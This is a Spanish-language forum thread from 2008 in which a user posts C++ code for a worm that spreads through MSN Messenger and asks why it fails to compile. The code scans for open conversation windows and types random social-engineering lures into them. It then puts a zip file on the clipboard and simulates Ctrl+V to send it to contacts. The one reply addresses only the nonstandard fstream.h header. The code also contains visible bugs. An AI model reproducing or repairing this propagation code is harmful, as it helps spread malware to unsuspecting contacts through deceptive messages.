elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
11 Octubre 2008, 19:05  



+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++
| | |-+  Gran problema con un codigo
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Gran problema con un codigo  (Leído 214 veces)
drupfing

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Gran problema con un codigo
« en: 05 Mayo 2008, 01:27 »

Bueno paseando y buscando por la red encontre el codigo que buscaba pero me genera un error en una de los include... he buscdo pero nada que se porq es eso , aki publico el codigo

Este codigo lo que hace es lo que han implementado muchos virus hasta ahora es propagarse mediante msj `por el msn enviando un msj con un link d una web o cmo este enviando el archivo

el error que me da es el siguiente

6 C:\Dev-Cpp\include\c++\3.3.1\backward\fstream.h:31,               from C:\Documents and Settings\.......\msn.cpp In file included from C:/Dev-Cpp/include/c++/3.3.1/backward/fstream.h:31,               from C:/Documents and Settings/...../msn.cpp

Espero que me puedan hechar una mano


#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <fstream.h>
#include <tlhelp32.h>
#include "shlobj.h"
using namespace std;

char Texto[] = "";//char vacia, donde se almacenará alguno de los siguientes textos:
       char Texto1[] = "orale... ya viste el angel que sale atrás de la chava esa??? Lengua";
       char Texto2[] = "Wow, ese choque esta bien feo!!!";
       char Texto3[] = "chale, la doña esa se acomodo un buen fregadazo....";
       char Texto4[] = "ve el nuevo spot de la cocacola... Lengua";
       char Texto5[] = "Cálico Eéctronico... nueva serie";
       char Texto6[] = "Simple Machines... jajaja!!";
       char Texto7[] = "tu tienes iPod, verdad?, ve las imagenes que me descargué";
       char Texto8[] = "oye, quieres ver lo que me pusieron en mi spacio?, se pasaron...";
       char Texto9[] = "el wey ese se da un madrazo!!, Lengua";
       char Texto10[] = "Para ti...";   
       
       BOOL CALLBACK EnumeraHijas(HWND hwnd,LPARAM lParam);
       void CopiarmeMemoria();
       void MESSENGER();
//-----------------------MEMORY SPACE...----------------------------------------
void CopiarmeMemoria()
     {
 
      //AQUI LE ASIGNAMOS A LA CHAR, LA DIRECCION DE LA CARPETA QUE QUEREMOS MANDAR...
      char filu[256] = "C:\\Picture001.zip";
     
      //acracter nulo al final de la cadena
      lstrcat(filu,"\0");
   
   if (OpenClipboard(NULL))
       {
           EmptyClipboard();

           DROPFILES filuTieto;
           filuTieto.pFiles = sizeof(filuTieto);
           filuTieto.fWide = 0;
       
           HGLOBAL hGlobal = GlobalAlloc(GHND, sizeof(DROPFILES) + strlen(filu)+1);
           unsigned char*ptr = (unsigned char*)GlobalLock(hGlobal);
   
           CopyMemory(ptr,&filuTieto,sizeof(DROPFILES));
           CopyMemory(ptr+sizeof(DROPFILES),filu,strlen(filu)+1);

           GlobalUnlock(hGlobal);

           SetClipboardData(CF_HDROP,ptr);

           CloseClipboard();
           GlobalFree(hGlobal);
       }     
     
     }
     
//--------------------------MSN SPREAD...---------------------------------------
void MESSENGER()
{
     int ciclo = 1;
    char stri[100];
   
    do
    {   
   
      HWND Foco;
      Foco = GetForegroundWindow(); //sacamos el manejador del que tiene el foco
      GetWindowText(Foco,stri,100); //sacamos su titulo
     
         if(strstr(stri,"Conversación")!=NULL) //si tiene la palabra conversacion
            {         
               EnumChildWindows(Foco,EnumeraHijas,0); //enumeramos sus hijas
               ofstream msn;
               msn.open("C:\\Breaking_News.txt");
               msn << stri << endl;
               msn.close();                     
            }
     
      Sleep(5000); //esperamos 5 segundos
    }while(ciclo == 1);
}
//-----------------------SACAR CHILDS...----------------------------------------
BOOL CALLBACK EnumeraHijas(HWND hwnd,LPARAM lParam)
{
   char clase[51];

int msn;
srand((unsigned)time(0)); //function aleatoria
     msn = (rand()%10)+1;
     switch(msn)
     {
                    case 1:
                         strcpy(Texto1, Texto);
                         break;
                         case 2:
                              strcpy(Texto2, Texto);
                              break;
                              case 3:
                                   strcpy(Texto3, Texto);
                                   break;
                                   case 4:
                                   strcpy(Texto4, Texto);
                                   break;
                                   case 5:
                                   strcpy(Texto5, Texto);
                                   break;
                                   case 6:
                                   strcpy(Texto6, Texto);
                                   break;
                                   case 7:
                                   strcpy(Texto7, Texto);
                                   break;
                                   case 8:
                                   strcpy(Texto8, Texto);
                                   break;
                                   case 9:
                                   strcpy(Texto9, Texto);
                                   break;
                                   case 10:
                                   strcpy(Texto10, Texto);
                                   break;
                                   }
                                                                                                                           
                                                                                                               
   
   GetClassName(hwnd,clase,50);
   if(stricmp(clase,"DirectUIHWND")==0) //si la hija es de la clase Direct...
       {
         for(int i=0;i < strlen(Texto);i++) //escribimos en ella
            PostMessage(hwnd, WM_CHAR,Texto, 0);

            PostMessage(hwnd, WM_KEYDOWN, VK_RETURN, 0);
            PostMessage(hwnd, WM_KEYUP, VK_RETURN, 0);     
           
            CopiarmeMemoria();
           
            keybd_event(VK_CONTROL,0,0,0); // CTRL presionado
            keybd_event(VkKeyScan('V'),0,0,0); // V presionada
            keybd_event(VkKeyScan('V'),0,2,0); // soltar V
            keybd_event(VK_CONTROL,0,2,0); // Soltar CTRL.
           
           
           
      }
   
   return (int)hwnd;
}
En línea
Chino Moreno

Desconectado Desconectado

Mensajes: 93


White Pony [ ! ]


Ver Perfil
Re: Gran problema con un codigo
« Respuesta #1 en: 05 Mayo 2008, 07:27 »

Has comprobado que tienes el header fstream.h? fstream es parte del C++ standart, pero fstream.h no.
En línea



¿Necesitas información sobre una función que comenté? Lo mas seguro es que la encuentres en MSDN
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats